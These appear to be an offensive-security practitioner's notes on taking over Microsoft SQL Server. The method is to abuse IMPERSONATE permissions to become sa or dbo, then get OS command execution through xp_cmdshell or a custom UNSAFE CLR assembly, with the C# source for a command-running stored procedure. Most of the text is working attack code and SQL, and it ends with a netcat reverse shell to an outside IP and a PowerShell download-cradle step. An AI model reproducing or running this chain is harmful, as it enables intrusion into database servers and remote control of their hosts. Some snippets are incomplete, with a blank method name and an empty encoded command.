With sysadmin role membership, it's possible to obtain code execution on the Windows server hosting the SQL database. - if nothing found, try grap Get NTLMv2 hash of the service accounts
#OS admin to sysadmin via service account impersonation, then all PowerUpSQL commands can be run as a sysadmin.
Invoke-SQLImpersonateService -Verbose -Instance
Only users with the explicit Impersonate permission are able to use impersonation. This permission is not part of the default set of permissions for most users, but database administrators may introduce misconfigurations that can lead to privilege escalation. This permission is implied for sysadmin for all databases, and db_owner role members in databases that they own.
USE master;
GRANT IMPERSONATE ON LOGIN::sa to [domain\user];
GO;
USE msdb;
GRANT IMPERSONATE ON USER::dbo TO dbuser;
GO;
Check impersonation stat
USE msdb
SELECT DB_NAME() AS 'database'
,pe.permission_name
,pe.state_desc
,pr.name AS 'grantee'
,pr2.name AS 'grantor'
FROM sys.database_permissions pe
JOIN sys.database_principals pr
ON pe.grantee_principal_id = pr.principal_Id
JOIN sys.database_principals pr2
ON pe.grantor_principal_id = pr2.principal_Id
WHERE pe.type = 'IM'
Login Level - EXECUTE AS LOGIN
1) insert into Main
// Get logins that we can impersonate
String res = executeQuery("SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'; ", con);
Console.WriteLine($"[*] User can impersonate the following logins: {res}.");
If find that our unprivileged login can impersonate the sa login. This effectively gives us database server administrative privileges.
2) insert into Main
// Impersonate sa login and get login information
String su = executeQuery("SELECT SYSTEM_USER;", con);
String un = executeQuery("SELECT USER_NAME();", con);
Console.WriteLine($"[*] Current database login is '{su}' with system user '{un}'.");
String res = executeQuery("EXECUTE AS LOGIN = ;", con); //modify to impersonate-able user resulted from 1)
// User level impersonate
//String res = executeQuery("use msdb; EXECUTE AS USER = 'dbo';", con);
Console.WriteLine($"[*] Triggered impersonation.");
su = executeQuery("SELECT SYSTEM_USER;", con);
un = executeQuery("SELECT USER_NAME();", con);
Console.WriteLine($"[*] Current database login is '{su}' with system user '{un}'.");
if impersonate sa
// We can execute through 'xp_cmdshell' if impersonating sa, adding after the above
res = executeQuery("EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;", con);
Console.WriteLine("[*] Enabled 'xp_cmdshell'.");
String cmd = "powershell -enc ";
res = executeQuery($"EXEC xp_cmdshell '{cmd}'", con);
Console.WriteLine($"[*] Executed command! Result: {res}");
//Replace String res = executeQuery("EXECUTE AS LOGIN = 'sa';", con); with
String res = executeQuery("use msdb; EXECUTE AS USER = 'dbo';", con);
Impersonation must have been granted to our user for a different user that has additional role memberships, preferably the sysadmin role.
A database user can only perform actions on a given database. This means that impersonation of a user with sysadmin role membership in a database does not necessarily lead to server-wide sysadmin role membership (default only = to be server-wise sysadmin).
To fully compromise the database server, the database user we impersonate must be in a database that has the TRUSTWORTHY property set - msdb (the only native db that has this property, but custom databases may use it as well). The database owner (dbo) user has the sysadmin role on it.
If a database has the TRUSTWORTHY property set, it's possible to use the CREATE ASSEMBLY statement to import a managed DLL as an object inside the SQL server and execute methods within it.
1) cmdExec.dll
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;
public class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
String su = executeQuery("SELECT SYSTEM_USER;", con);
String un = executeQuery("SELECT USER_NAME();", con);
Console.WriteLine($"[*] Current database login is '{su}' with system user '{un}'.");
// Impersonate sa, loading and executing command through custom assemblies
String res = executeQuery("EXECUTE AS LOGIN = 'sa';", con);
// User level impersonate
//String res = executeQuery("use msdb; EXECUTE AS USER = 'dbo';", con);
Console.WriteLine("[*] Triggered impersonation.");
su = executeQuery("SELECT SYSTEM_USER;", con);
un = executeQuery("SELECT USER_NAME();", con);
Console.WriteLine($"[*] Current database login is '{su}' with system user '{un}'.");
res = executeQuery("use msdb; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'clr enabled', 1; RECONFIGURE; EXEC sp_configure 'clr strict security', 0; RECONFIGURE;", con);
Console.WriteLine("[*] Enabled CLR Integration and disabled CLR strict security.");
;
res = executeQuery($"CREATE ASSEMBLY my_assembly FROM '{dllhex}' WITH PERMISSION_SET = UNSAFE;", con);
Console.WriteLine("[*] Created custom assembly with DLL.");
res = executeQuery($"CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];", con);
Console.WriteLine("[*] Created procedure based on the custom DLL method.");
String cmd = "powershell -enc ";
res = executeQuery($"EXEC cmdExec '{cmd}';", con);
Console.WriteLine($"[*] Executed command!");
Created a procedure with the custom assembly that executes commands, such that it can execute PowerShell reverse shell download cradle and run the shellcode without using native procedures.
Can also use nc.exe 192.168.119.120 443 -e cmd.exe for evasions. (need transfer to the linked server via the RCE first)